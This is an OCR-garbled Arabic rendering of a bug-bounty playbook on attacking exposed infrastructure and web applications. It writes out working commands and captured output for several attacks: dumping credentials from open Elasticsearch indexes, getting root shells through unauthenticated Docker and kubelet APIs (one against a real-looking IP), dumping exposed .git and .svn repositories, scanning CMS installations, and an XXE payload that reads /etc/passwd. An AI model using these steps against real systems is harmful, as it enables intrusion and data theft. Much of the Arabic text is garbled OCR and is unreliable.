"build_date" : "2017-09-14T19:22:05.189Z",
"build_snapshot” : false,

"lucene_version": "6.6.1"

}

"tagline": "You Know, for Search"

}

indexes]| JS il Jol> asl> Jglexposed Elastic Search db lasicendpoint )=’ Lo gl
(Databases)

gsendpoint JI cisi elil §ayb (e aslio S

GET request . “/_cat/indices?v"

indexes JI JSlist 4 ng8s lag
RS}
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uuid pri rep docs.count docs.deleted store.size

pri.store.size

yellow open
303.5kb

yellow open
960b

yellow open
32.4mb

yellow open
6mb

yellow open
433.5kb

yellow open
16.7kb

yellow open
142.1kb

yellow open
4.7mb

yellow open
79.6kb

yellow open
272.3kb

yellow open
1.7mb

yellow open
2mb

yellow open
344.6kb

yellow open
9.1mb

yellow open
B8.2kb

yellow open
479kb

yellow open
2.4mb

yellow open
70.8kb

yellow open
84.7Tkb

yellow open
1.7mb

yellow open
1.2mb

yellow open

bookings 1z8yHxqbQuGEDijkdEozAA 5 1 524 0 303.5kb
company HMOFvOQDSiapSol QAsxzg 5 1 o 0 960b
geosys _J9pwmdvSrWLhbo9pchzMg 5 1 61722 0 32.4mb
article JE6UaQSSORIaRmmokZ1VElg 5 1 809 0 6mb
service SApBMxLLSEWWJOrQoF0TUg 5 1 591 0 433.5kb
job_application DSibZjacQ-mU1MySC4zKrQ 5 1 2 0 16.Tkb
payment azS5VYu9tQAy41u2PlA-daw 5 1 [:] 0 142.1kb
users 6kHqdkvOSx6dmXXis_JGNg 5 1 1701 463 4.7mb
articles JKSFXGXfRXuUULpzjLuPLg 5 1 3 0 79.6kb
invoice bgXAHuOLSJal-37eiBcRBw 5 1 18 0 272.3kb
booking zj ZSBegwy Y8g 5 1 545 1 1.7mb
address. CKteiX6qRUCYWxkBZCeEBBg 5 1 6245 o 2mb
job_post qrzfzvwKT3uSOXIY3nzWEQ 5 1 36 0 344.6kb
user HZBWADUeST-pBY4cOLBEPW 5 1 2134 12  9.imb
job_applications B9dyKfW7TheJppKu-d4zpvA 5§ 1 1 1] 8.2kb
services OcXzhBcoRB8ecQMurouwéQg 5 1 579 0 479kb
addressables ZM45C_69QXugOFLP-M16LQ 5 1 6245 745 2.4mb
job_posts _-nkfsW2TiKHLhTdSRmfuA 5 1 35 0 70.8kb
invoices PoNCOfg6QjSi0ITfPhPbBw 5 1 12 0 B4.Tkb
user_services bBwhZ0eDTAeqS5AIDBZ-2g 5 1 1384 298 1.7mb
user service _c75afkpQVWjyeWHQUoMDw 5 1 1485 22 1.2mb
payments dedkCOk-RfuoypmE19cLRw 5 1 6

M Gasb e Lgdali yusiservice Il e auili Juoli ga gy calagleall

‘[_stats/?pretty=1" endpoint
185 lill 81cl8  Sfull text search  Jaoi j187 glidleg
‘/_all/_search?q=email”

‘email’. aalS g GUlindex Il JS ;e pileiwly agéua lag
Mio &) el ¢ pgossil e Ul woy aalS alS wa

e Username

e User

e Email

e Password

e Token

Al Jsind 41875 digmoindex glquery 5w Lo Jol Job le il

‘all’
dic &l jgle el gLﬁindex Al sy

Jomi @lil gayb gefield names I J<list 5 clil gag aoyp 1o Glas $lisd aud
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JGET request
‘/INDEX_NAME_HERE/ mapping?pretty=1" endpoint

1y JSuinlly g8 aniilly agius QU1 by §9d GUI aalalSHl gayb e s Lil

{
“address"™ : {
“mappings” : {
*_default " : {
“properties™ : {
“text™ : {

“type" : “text"”,

“fields™ : {

“raw™ : {

“type” : "keyword"

}

}
}
}
h
“addressables" : {
“properties™ : {
“addressable_id" : {
“type" : “long”
h
“addressable_type" : {
“type" : “text”,
“fields™ : {

“keyword” : {
“type" : "keyword",
“ignore_above" : 256

}

}

k

“eity™ 1 {
“type" : “text"”,
“fields™ : {

“keyword" : {
“type" : "keyword",

"ignore_above" : 256
}
}

: sifield names Lisic Lil Lo cayliy il Lo (s
addressable_type, city, etc ..

38 JSwoutput Il L idyea Uy

Al assianiy Lisl uwofield name le ggini SUI pus | Squery 5 (jLidle
‘[_all/_search?q=_exists:email&pretty=1"

2olg 99 Lo sjemail a.ubfield name(column) Lgié SUldocuments JI JS elsly agéia SUlg
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"took™ : 12,
"timed out” : false,
* shards™ : {
"total" : 110,
"successful” : 110,
"skipped" : 0,
“failed™ : 0
h
“hite” : {
"total" : 7772,
"max_score” : 1.0,
“hits™ z [
{
" _index" : "address™,
*_type" : "addressables”,
" id™ "9,
= score” : 1.0,
" _source™ : {
"id™ : 19,
"addressable_id" : 55,
“addressable type" : "FHMatch\\Models\\WWser",
“lang™ : “en",
"addressi"” : null,
“city"” : “Alpharetta”,
“state™ : "GA",
“postal” : “30004",
"eountry” i "US",
"lat™ : "REDACTED",
"lon™ : "REDACTED",
"email” : "REDACTED@yahoo.com”,
"phone” : "REDACTED",
"website™ : null,
"timezone" : "America/New_York"™,
“currency” : "USD",
“privacy” : null,
"meta™ : null,
"created_at” : "2017-09-26 19:42:02",
"updated_at™ : "2017-09-26 19:42:02",
"deleted_at™ : null

h

“all’

gsendpoint Jl e e lideindex Jl (o il 6‘4

Web service 1lunauthenticated access giyb ¢je 138 gyl Sle (80
s39>gallDatabase Jldump . pgil l9y38y dlggun JS0 5)Slll

DOCKER API

Sle @y> 29y oSlg Jniua éleliy yiguagsll Gle 148 198 o yolnw dagus yohia wil ¢l gloy
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loiina Gira 148 Gl alAs

& Sl Jai glinle 138 olidle lgaran’ o5 L8yDocker JI

hil gvirtualized application containers Lizing ypanopen source software (e alc 29
6) & " ]" LS ..” 4o

ecosystem of allied tools § aul Gayb e

ecosystem of allied tools.

aygull Glelocal host JI Sle yuapikey Ml jpyoua alai Sledocker Il eudi Gl Lol Mio iz
2375

ol eliy élyxall ga Jeloill (§ dansiw ;185 bapi key JI

lele Gran g s gl Jasi ol @l dlyan dblu SUlg

oirledocker api JI ST Lgil 04318 jgSiaExternal party ol sinta 53 @RlaisAl S i
; 449180 iro oD ol

A @ub e guasly il yasy dlilg llilg yuoiy yasiapi Nl lelijcertain instances I 4 (<)
external resources

2olg 9a Lo 6 pllell ey aiddocker api Jl py=a oyt JSuiy Jas o

o SHooan

% Exploits % Mags ob Like 7

s
1
1
3
3
wyedd

docker Je.im wglhall duaall ol a8l oLide

JGET request Joxi ya87 el lgiclw

[version endpoint

: 1S sjjson blob J aclib Jaoy agéua SUlg
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{
"Platform™: {

"Name™: "Docker Engine - Community™
b
“Components": [
{
“Name": "Engine”,
"Version™: "18.09.0",
“Details™: {
“ApiVersion™: "1.39%,;
"Arch™: "amdG4",
“BuildTime": “2018-11-07T00:56:41.000000000+00:00",
“Experimental”: “false”,
"GitCommit": "4d60db4",
"GoVersion": "go1.10.4",
“"KernelVersion™ "10.0 14393 (14393.3204.amd64fre.rs1_release.190830-1500)",
“"MinAPIVersion™: "1.24",
"0s": "windows"

}

I
"Version™: "18.09.0",

"ApiVersion™ "1.39",

"MinAPIVersion™: "1.24",

"GitCommit™: "4d60db4",

“GoVersion™: "go1.10.4",

"0s™: "windows",

"Arch™: "amd6é4”,

"KernelVersion™: "10.0 14393 (14393.3204.amd64fre.rs1_release.190830-1500)",
"BuildTime™: "2018-11-07T00:56:41.000000000+00:00"

sty Job le ySgullCLT version U 293 Job le Lil @guinSadocker api JI )l 181l La) 0
Jloysill o da
docker -H <host>:<port> ps

g %-F R 12375 ps
CONTAINER 10 MAGE COMMARD CRLATED STATUS PORTS HAHES
S2B 31519408 contalners,m-net, in/Bi_ssm_api_deviBIADMAPI_1,3.15  “dotnet Solstion.Web.® 2 days age Up 2 days 5090/ tep, 000, 0:E1-200/tcp  wlegant_easl
oy

elegant easley cwb80 gy Sle Jlod aslgcontainer aud oygall (§ il wil Lo )

container JI épop a shell J y18i dblawg Lislg
13 2ilagSIl Gayb e

Docker -H <host>:<port> exec -it <container name> /bin/bash

alex@alex-PowerEdge-R710:~% docker -H | 12375 exec -it "mysgl" /bin/bash
root@771ed4blaed3l: /# whoami

root

root@771e4blaed3l: /# exit

exit

shell JI g0 gyl asilo le Juaxi il Sle (a8 LS Lisl s yg0ll (8 by il L (5
docker version JI ,le slaieXly asls S Jagi j18i Lisl Lis (o
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JVscontainer Jlbreak out 5 jLidde JM@inl assiwd Sle 10l8 845 (Sao el

host machine JI

dleo SUlcontainer )l gy e Sl alsls Jawi clil 118 1845 (Saag

aadyll cslaell eliy cpawidl 9o SUlgerypto currency I (6 yuS JSuin pasiiug |y élisill leb
infrastructur)l ,le gscontainers UDeploy lglawy lg>gyigcontainers Iglasy agil §ayb e
onldl aclves

infrastructlhijack 5 <l Job le y185 aiislelldocker api exposed sl cdg.iui Lo Jol List Loy
pgiclyure

¢lelicontainer Uroot access le lgbax )18y agil 138 (o GiesgXl

KUBERNETES API

containers Jl gliconcept Jl juai Sle cians yus @iliisi axddocker JI Ll go
open-source container- (¢ a)le gagKubernetes o &luic

automate J gLdde alAj lygorchestration

application deployment, scaling, and management]|

J>9> Gb (e pana gag
Exposed Kubernetes API

10250 w94l leunauthenticated REST API .S oKubernetes |
pall 521319 e jnolianall o)
Shodan (1o bouw ¢ Gayb e el U_Lcuub.ﬂ Wil oSaa LAPL

'. SHODAN product:"kubernetes” Q a Explore Downloads Reports Pricing Enterprise Access

*% Exploits % Maps % Share Search & Download Results Ll Create Report

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

1,198 = =
Z
Tolstra intemet @ SSL Certificate HTTP/1.1 404 Not Found
C ~Type: : harset=utf-
& Australia, Launceston Issued By: ontent-Type: text/plain; charset=utf-8
|- Common Name: ippbx- X-Content-Type-Options: nosniff
" ca@1545684228 Date: Mon, 30 Sep 2019 18:57:44 GMT

W “‘ = Issued To: Content-Length: 19

|- Common Name: Ippbx@1545684229

Supported SSL Versions

TLSvi2
United States 307
China 218 - @
Japan 209 "
@ SSL Certificate HTTP/1.1 484 Not Found
- e Content-T text/pl. harset=utf-8
Issued B; ontent-Type: text/plain; charset=utf-
Korea, Republic of n AWS Asia Pacific (Seoul) Region ued By:
- Common Name: ip-172-31-40-16- X-Content-Type-Options: nosniff
. Korea, Republic of, Incheon ca@1559548565 Date: Mon, 30 Sep 2019 20:19:41 GMT
Bty Content-Length: 19
Ammisaoce a4 [ cloud 1 devops J - Common Name:  Ip-172-3140-
Amazon Data Services Japan 153 1001550840508
Amazon Data Services India 142
SoftLayer Technologies 23 Supported SSL Versions
AWS Asia Pacific (Seoul) Reg... 23 Tsvi2

ole Jaxi elil ag lglani asls Jgl el lgiclwdetect lglaniKubernetes acliy dassll Lo Jo
pods JI ;olist

UGET request e élil Gayb e

/pods endpoint

s syl dllesyy y8ydl ol pgyaal
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{

“kind”: “PodList”,

“apiVersion™: “v1”,

“metadata™: {},

“jtems”™: [

{

“metadata™: {

“name”: “pushgateway-5fc955dd8d-674qn”,
“generateName”: “pushgateway-5fc955dd8d-*,
“namespace”: “monitoring”,

“selfLink™: “/api/vi/namespaces/monitoring/pods/pushgateway-5fc955dd8d-674qn”,
“uid”: “d554e035-b759-11e9-814c-525400bdacd2”,
“resourceVersion”: ¥9594”,

“creationTimestamp™: “2019-08-05T08:20:07Z",
“labels™: {

“app™ “pushgateway™,

“pod-template-hash™: “1975118848",
“prophet.dparadigm.com/deployment™: “pushgateway”™
b

“annotations™: {

“kubernetes.io/config.seen™ “2019-08-05T16:20:07.080938229+08:007,
“kubernetes.io/config.source™: “api”,
“kubernetes.io/created-by™:

P kind\™\"SerializedReference\”,"apiVersion\":"v1\",\"reference\":{{"kind\":\"ReplicaSet\",\"name
space\":\"monitoring”,\"name\”:\"pushgateway-5fc955dd8d\",\"uid\":\""d552bfb3-b759-11e9-814c-
525400bdacd2\",\"apiVersion\"\"extensions\",\"resourceVersion\":\"2591"}}in™
b

“ownerReferences™: [

{

UapiVersion™ “extensions/vibetal®,

“kind™: “ReplicaSet”,

“name™: “pushgateway-5fc955dd8d™,

uid™: “d552bfb3-b759-11e9-814c-525400bdacd2™,
“controller™: true,

“hlockOwnerDeletion™ true

}

1

b

“gpec™: {

“yolumes™: [

{

“name™: “default-token-ggm5I”,

Usecret™ {

“gecretName™: “default-token-gqgm5I”®,

“defaultMode™: 420

}

}

1

“containers™: [

{

“name™: “pushgateway”,

“image™: “10.10.0.15:35000/prom/pushgateway:vD.4.17,
“ports™: [

{

“name™: “http”,

“containerPort™ 9091,

“protocol™ “TCP”

}

1

ole b dlil @118 5985 pgy80 el 1y 3yl o
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namespace name, pod names, and container names:
o Namespace

— monitoring

e Pod Name

— pushgateway-5fcg55dd8d-674gn

e Container Name

— Pushgateway

saexecute Jazy agéua SUIGAPT service U clb ciasi (San wil g cilagleall §1yb e

cumi il b e Loy oSanlig

GET request:

curl —insecure -v -H “X-Stream-Protocol-Version: v2.channel k8s.io” -H “XStream-
Protocol-Version: channel k8s.io" -H “Connection: upgrade” -H

“Upgrade: SPDY/3.1" -X POST
“https://<DOMAIN><PORT>/exec/<NAMESPACE>/<POD

NAME>/<CONTAINER NAME>?command=<COMMAND TO
EXECUTE>&input=1&output=1&tty=1"

60 JLunyll andr pgyaall eSy 3yl pliwia jpgydall il 1S sy

Connected to 140.143.240.4 (140.143.240.4) port 10250 (#0
found 148 certificates in /etc/ssl/certs/ca-certificates.crt
found 597 certificates in /etc/ssl/certs

ALPN, offering http/1.1

9:i~curl —-insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H “X-Stream-Protocol-Version: channel.k8s.io" -H “Connection: upgrade" -H "Upgrade
:110250/exec/monitoring/pushgateway-5fc955dd8d-674qn/pushgateway?command=1d&input=160utput=16tty=1"

SPDY/3.1" -X POST " W
Trying 140.143.240.4...

SSL connection using TLS1.2 / ECDHE_ECDSA_AES_128_GCM_SHA256
server certificate verification SKIPPED
server certificate status verification SKIPPED
common name: system:node:10.10.8.15 (does not match '140.143.240.4')
server certificate expiration date OK
server certificate activation date OK
certificate public key: EC
certificate version: #3
subject: O=system:nodes,(N=system:node:10.10.0.15
start date: Mon, 05 Aug 2019 06:29:00 GMT
expire date: Thu, 02 Aug 2029 06:29:00 GHT
issuer: C=(N,ST=Beiling,L=Beiling,0=kBs,0U=System,CN=kubernetes
compression: NULL

ALPN, server accepted to use http/1.1

POST /exec/monitoring/pushgateway-5fc955dd8d-674qn/pushgateway?command=1d&input=16output=1&tty=1 HTTP/1.1

Host: 140.143.240.4:10250

User-Agent: curl/7.47.0

Accept: /=

X-Stream-Protocol-Version: v2.channel.k8s.io

X-Strean-Protocol-Version: channel.k8s.io

Connection: upgrade

Upgrade: SPDY/3.1

HTTP/1.1 302 Found
Location: /cri/exec/Bwak7x7h

Date: Mon, 30 Sep 2019 21:53:07 GMT
Content-Length: @

Content-Type: text/plain; charset=utf-8

Connection #0 to host 140.143.240.4 left intact

S @yl il La 6
location header JI acliy dadll ylS0 asXgWeb socket 4 JLail Jac i g 2l @l
Gobuy o SUlg

[cri/exec/Bwakyx7h.

wscat 63 alaXl axsiwd jr8iweb socket connections Jthandle J ;Lide

Jroxill agyyb
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apt-get install node-ws
|3 30Xl i8ia laaey >gyiglocation header I acliy aagsll Jle Jaxi jus5 idgly

wscat -¢ ‘https://<DOMAIN>:<PORT>/<Location Header Value>" -no-check

alex@alex-PowerEdge-R710:~% wscat -c "https://] :10250/cri/exec/Bwak7x7h" --no-check

connected (press CTRL+C to quit)
<

<

< uid=65534 gid=0(root)

disconnected

Container I lc yalgl 16iigRCE J Logi Liil Liyad 118

$Git I o @yl idgls cub

“git" s Ao Sle ggin | plhillgrevision control system  ga

éleliy ggyirallsnapshot Jl &ilS Jian Iy alxall agall

dliclidata structure U diyysig dhsd aiagit wla Jaoi il aya JS

object di Jl cixi (350 (395 ghash (jlaS g jua0 pual ssic j9Suacompressed object Jl cub
rectory

Sl pMSll @l sy

repository | (& axl> IS 9 398 Guyguudl clinil 10§ @lil j2l8 (9Sue dbluw iy
‘https://example.com/.git" xiai cu> il o

la yYhiall @guisi yald (g8

Index of /.git
Name Last modified Size Description
Parent Directory, -
COMMIT_EDITMSG 2012-12-27 03:45 8
HEAD 2012-12-2703:42 23
branches 2012-12-27 03:42
config 2012-12-27 03:42 187
description 2012-12-2703:42 73
hooks/ 2012-12-27 03:42 -
index 2012-12-27 03:45 541K
info/ 2012-12-27 03:42 -
logs 2012-12-27 03:45
objects/ 2012-12-27 03:43
refs/ 2012-12-27 03:42

website source code JI le sginn SUlgrepository Il eliil aslel Sle 5al8 g98ia wil Lia

https://github.com/internetwache/GitTools/tree/master/Dumper
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148 Jami glide XX alaX| EXCS T REC
“./gitdumper.sh https://example.com/.git/ Joutputdirectory/".

repository Uclone J,am 99,0_@ lag

exposed passwords. gl gl 39S Guygudl & @hel Jle ygu 148 1oy

SUBVERSION

“svn’ ga GUI Gasall Alsall Sle gginmgrevision control system e a)lic 9aGit Il 55
@9;;]\ & PMI 39S puygudl clinil aaleX dalasial pin wbp by Alxall

ablawy pMS Gusi aby

"https://example.com/.svn"
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Index of /.svn
Name Last modified Size Description

a Parent Directory -

@ entries 15-Jul-2013 15:51 14K
[:Bpr_op-base 15-Jul-2013 15:531

(£ props’ 15-Jul-2013 15:51

(0] text-base 15-Tul-2013 15:51

a‘t_‘np_ 15-Jul-2013 15:531

https://github.com/anantshri/svn-extractor

folder structure, source code, and other files JI cLiuil 123 ¢llsia g5 alaXl

1S9 ey Ll joui elil lSs g @l LUl g5 2380 ussi

CHAPTER 10: EXPLOITATION CMS

olide assiiuy dilg asls 138 (8 Gidgly il alSiia Guy 63 wlSall e dosbo Lidye sl idgly

None — 43.6%

34.6%

WordPress 61.4%
Joomla
Drupal
Shopify
Squarespace
Wix

Magento

WORDPRESS YR ECHIWRRPER JURrn


https://github.com/anantshri/svn-extractor
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2l o Joi 4 laSg adle §3§1 SUlmisconfigurations Jlg ciXsleiwdl vilie 4.8 agsl (6

ls g989all (& u.|_l| ulg.}X\
wpscan 99
https://github.com/wpscanteam/wpscan

ruby Jl a2ly ai9i80 o ol s a2l ¢ Gilai asls yisl
o 63 alelll yo degina olgal8python Jlggolang Ji pasiian il Jhdy ilsllg

lgw sy dleliy comldl GUI >0lgisill i ye 9955 (pgyaall wilfingerprinting I <Lil
D aaxdly sbaXl Joi Job leg

wpscan --URL <URL>

alex@alex-PowerEdge-R7108:~/tools/wpscan$ wpscan —-url http://ghostlulz.com

WordPress Security Scanner by the WPScan Team
Version 3.7.5

@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_

[i] Updating the Database ...
[i] Update completed.

URL: http://ghostlulz.com/
+] Started: Mon Nov 18 16:34:36 2019

Interesting Finding(s):

+] http://ghostlulz.com/

| Interesting Entries

| = X-Cacheable: YES:Forced

| - X-Cache-Hit: MISS

| - X-Backend: all_requests

| Found By: Headers (Passive Detection)
| Confidence: 180%

WordPress sites Jl ol (X 63 cly2ill 2835 03 (j95u0 lgaxaia cil SUI gdlgall cleél Loyss
Barb e Ll g .
Jsb Jslupdates  Jowi Iga9u SUlthird party vendors I

asliza oS oRleiwXl Glél Lyydi yu wlasendpoints J >gyia yus @ldgl (g
leloius oLidecredentials

I s @il a8kl las Laals
/wpcontent/uploads/
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< c @& eschernyc.com/wp-content/uploads/

Index of /wp-content/uploads

Name Last modified Size Description
: Parent Directory -
[f‘_] 2018/ 2018-12-01 00:00 -
[:] 2019/ 2019-11-01 00:04 -
[::] revslider/ 2018-01-28 02:19 -

the-core-style.css 2019-01-08 17:44 552K

user emails, passwords, paid digital products, sjsensitive information 81 Sa0 Liag

S p@yutq

WordPress )l 12)CMS gl (,ili

ol Ugll_y Sbl aeanig Gl gl il Ly uny i i Gy8)l o Lado |y el UQ).u.S(,Sm Ul

835

https://github.com/rezasp/joomscan

PERL JOOMSCAN.PL -U <URL HERE>
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(1337.today)

--=[0WASP JoomScan

+-——++-——==[Version : 0.0.7

+-——+4+-——==[Update Date : [2018/09/23]

b e s [Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge

@OWASP_JoomScan , @rezesp , @Ali_Razmjo® , @OWASP

Processing |

[+] Firewall Detector

[+] Detecting Joomla Version

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page not found

[+] Checking robots.txt existing

PAIS_N oudi L asls yail eldlilag ‘3315_” ousi L
https://github.com/droope/droopescan

python3 droopescan scan Drupal -u <URL Here> -t 32

alex@alex-PowerEdge-R710:~/tools/droopescan$ python3 droopescan scan drupal -u -t 32

modules [ = ] 16/1050 (1%)
modules [ == 1 24/1050 (2%)
modules [ == 1 26/1050 (2%)
modules [ == 1 27/1050 (2%)
modules [ == 1 2871050 (2%)

ADOBE AEM

Ly oy X el axas Baliay LS| cuilaAdobe AEM CMS JI 118 Ld cuglg il 1l

8Ly SlSNCMS gl lag Join will Lo (65 1as ¢lula 15CMS I

https://github.com/oang3el/aem-hacker

python aem_hacker.py -u <URL Here> -host <Your Public IP>

/Jusr/\ocal/1ib/python2.7/dist-packages/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.25.2) or chardet (3.8.4) doesn't match a supported version!
RequestsDependencyWarning)
[+] New Finding!!!
Name: POSTServlet
Url: https://www. | .com/.json
Description: POSTServlet is exposed, persistent XSS or RCE might be possible, it depends on your privileges.

[+] New Finding!!!

Nanme: QueryBuilderJsonServlet

Url: https://www. “.com/bin/querybuilder. son. ico

Description: Sensitive information might be exposed via AEM's QueryBuilder)sonServlet. See - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuild
er-predicate-reference.html

[+] New Finding!!!

Name: QueryBuilderFeedServliet

Url: https://www. @ com/bin/querybuilder. feed

Description: Sensitive information might be exposed via AEM's QueryBuilderfeedServlet. See - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuild
er-predicate-reference.html

gopublicip ¢l (9% plixia ¢iISSRF Vulnerabilites JI yi55 jole wil o) asls (o ¢llly 35
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connection Jl ¢lule 331 3810l dils

OTHER

C @& wappalyzer.com/technologies
ICMS
O 1C-Bitrix =) 3dCart (o] a-blog cms @ Adobe Experience Manager ¥ Ametys
Amiro.CMS © AMP Plugin %? Apostrophe CMS = Arc Publishing B AsciiDoc
I8 Backdrop Banshee B BIGACE M Bloomreach & BoldGrid ®) Bolt
$ BOOM Botble CMS Q Brightspot B BrowserCMS b Bubble
B Business Catalyst 4 Cargo © Chameleon Chorus ¥ Ckan
CMS Made Simple  # CMSimple 2. Coaster CMS Concrete5 (¥ Contao
< Contenido s Contensis B ContentBox C Contentful © Cotonti ' CPG Dragonfly
® CppCMS © Craft CMS . Danneo CMS & Datalife Engine B DedeCMS

axi Ladsle yira sl gl alad ciadg el o) cub yadl e LialSil Lisl (Slg Leds 108l ayué dud
Saly
1 Jsb Jle 29y Lgiclw

https://www.exploit-db.com/

all el ol 38CVEs 8liag hlLil ygil cilyeill e ddg
: Job e a8 Jana BIACMS dauwbially lsg*Magento” I e Lz Mia Loy ¢laic

= @©. % (cercermFed

eri 1as Apy T Filters V Reset All
show| 15 3 magento
\utl
2016-05-18 L - | Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File WebApps PHP agix
Bay Magento CE1.9.2.1 - Ui tricted Cron Script (Code Execut / D | of
2015-11-07 * X i ay Nagenio - nrestricted Lron Script (Lode Rxeculion / Lenla WebApps PHP Dawid Golunski
Service)

G gl aleil. aslg glSa ge yiredgiagoogle ¢Github Jl dg.is abyy 1Sl
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(=
0

GO gle magento exploit

commerce businesses and it's handling over 50 billion dollars a ...

Magento 2.2.0 <= 2.3.0 Unauthenticated SQLi
https://www.ambionics.io » blog » magento-sqli ~

Mar 29, 2019 - After attacking PrestaShop several months ago, my next target of choice was
another eCommerce platform, Magento. ... One of them is an unauthenticated SQL injection. ...
One of the main classes handling the DB is Magento\Framework\DB\Adapter\Pdo\Mysg|.

magento-exploits/magento-sqli.py at master - ambionics ...
https://github.com > ambionics » magento-exploits » blob » magento-sqli v

Mar 22, 2019 - Exploits for Magento 2.3.0 and lower. Contribute to ambionics/magento-exploits
development by creating an account on GitHub.

[RCRENEN Plﬁ dic Jo&i Lids abyg
magescan lgawlScanner ¢luic a.d
https://github.com/steverobbins/magescan

CHAPTER 11: EXPLOITATION OWASP

489y2allCVEs Jl culel e cmyi elil yal8 Lauiay Giracustom-built application le cus wil o
sl JS dlluzia Giro yilSuull (X clindin agle y913 23X 18) Liay 1,4

OWASP top 10 Jl agai ¢lil 232 1&) Lia

&5 i pgall g3 838l jlao le ko Ul @loill el pdu 638 JS G 155 ggyiia lag
XSS,SQLI, LFI, RFI, CSRF, XXE, and SSRF

Burp Jl ;a9 g3 aalSadl § Lglawiwi glide alal plixia

6_\Lc|_v_LbX(s@J_C)9_u«s)muuau.o.udLv.auuaL@|Uaame@mLmdgmhlLv_Lb
https://portswigger.net/burp

pgio €93 J8) 5yilSn Igoasiun I Gulidl jas 448 ol 2o

SQL injection scanners, XSS scanners, Burp scanner, and others )
1S G pine glaSg iz 3yilSudl Gomix aasia Lo GilSH (Slg

woy Jozy goull Joidl o sl as8

D aaslg aasly pgic plSi Ay pgall

XML EXTERNAL ENTITY (XXE)

parses XML i SHXI L) Jasiy SUlg 0395 ge ojlie
XXE ai| uz.v.l_\ 8913 29y Lo Jus
JoXIXML ] &Lu d_v_a.ll).-ﬁl pgdi oy

Extensible Markup Language (XML)


https://github.com/steverobbins/magescan
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¢ ad edaxil
lASJSON  J agiliive auliludl €395 9 (3 glinle
1189 LalSuir sblg ladle by Jlia adn lag

<?xml version="1.0" encoding="UTF-8"?>
<bookstore>

<book category="cooking">

<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year»2005</year>

<price>30.00</price>

</book>

<book category="children">

<title lang="en">Harry Potter</title>
<author>] K. Rowling</author>
<year»2005</year>

<price>29.99</price>

</b001<>

</bookstore>
Encoding I La$gXML version _le ggixnam SUlgprolog )l @g.ini yasia yhu Jol 4 Lo

XXE le 3939 Job e 53 LaielusBurp J 8 1s pdSl hgui Lo Jol 1S ey

<?xml version="1.0" encoding="UTF-8"?>

Root Node I 2184 9o Ulg*<bookstore>” ga Ul plidl aslia 1y a8 s
sub child nodes lg:8 pgio 81519 JSg'<book>" Lash LrL\lgtwo child nodes a4
L@_A.u_\l 09} k")_L” 9

‘<title>,<author>,<year><price>".

<root>

<child>
<subchilds>....</subchild>
</child>

</root>

Led)le 185 23R il calsls aaguis a8 (SIgXML I aclibasic structure I leub 539
document type definition (DTD) JI a9

D 1S 65 lgdyy=i ping
document type definition (DTD)

<test><name>&user;</name></test>
ENTITY lgawl lgzls> a48 118 §98 bl il Lo 63
"Ghostlulz" ga JUI pill 4aid LJ.u_,.u.:.u_» SUlg"user” aud |y Jliall (a9 yuoiall Jiaiy o U,l_llg

9o Sl ool o Ll sl ity &user;” wlid Gy e el (185 gsentity i P@dl
‘Ghostlulz

oo lgieliy @bl Jasiy SUlgexternal entity lgawl asls axsiasd (a8 glas el
external sourcel
1S b 9o Lo gjDisk le SUIcalall gTURL I o calibedl o ogliele 11 Jawsi ja85 Loy
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1. <IDOCTYPE foo [ <ENTITY ext SYSTEM "http://example.com" > |>
2.<IDOCTYPE foo [ <IENTITY ext SYSTEM "file:///path/to/file" > |>

XXE

lo (& (3l (Sao AbLul ol 138 dagds (o @383 Ll Le 6

- dawl G Galall o ealilo 183 Jglad @bl @llilgd ol ebly ail ub
) Jetc/passwd

220 (§ dijso agdig

response Jl § élle>yi a3 ¢y calilul a5 olil Jlsa S ol b2

tlgdle oo UILiadl jgxialy
Gle XMLl alasinl pig dil 9 GUIGPOST request Jeapture  Jacburp i Sle Jsddl elidl
Back End li eilily Juuy o

XXE e y915 uiXML @guisi Lo Jgl jogyaall

POST /product/stock HTTP/Ll.1l

Host: ac7b203e7d84330c80c£68bb0053008a.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:67.0) Gecko/20100101
Firefox/67.0

Accept: */%

Accept-Language: en-05,en;g=0.5

Accept-Encoding: gzip, deflate

Referer:
https://ac7b203e7d84330c80c£68bb0053008a.web-security-academy.net/product?productId=
8

Content-Type: application/zml

Content-Length: 107

Connection: close

Cookie: session=JbPR3IFxHGdIwnibgkXIzuoljpw7dRKFHM

<?xml version="1.0" encoding="UTF-8"?2>
<stockCheck><productId>8</productId><storeld>l</storeld></stockCheck>

&) lgmnode value JI JS Juiwlgmalicious external entity JI 8 i iy 148 Jawi lidde
118 ol ga Lo

Figure 105: XXE payload
‘ete/passwd” aawl Ul alall § Ul clilullgrap Jawi sagexternal entity clac Ll Lia
XXE entity Jl § lgiysi 18y 118 19

“<productID>” aclinode Il (§ Ul yysiall oy Ll 155 sy

all @y 11 18) Lid 09 éllisua )1 16y Lgiclwexternal entities 1 ¢lgly irlaga 18yl 1) o)
dic LialS3l Ul alall 6 SUT obigis

“Jetc/passwd”



Bug bounty playbook V1 | Ghastful AKA Alex Thomas

s ————————

HTTP/1.1 400 Bad Regquest

Date: Sat, 22 Jun 2019 18:51:49 GMT

Content-Type: application/json

Content-Length: 1144

Connection: close

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self';
style-src 'self'; frame-src 'self'; connect-src 'self’ ws://localhost:3333;
font-src 'self'; media-src¢ 'self'; object-src 'none'; child-src 'self' blob:
X-Content-Type-Options: nosniff

X-¥XS5S-Protection: 1; mode=block

X-Frame-Options: DENY

"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1l:l:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbhin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
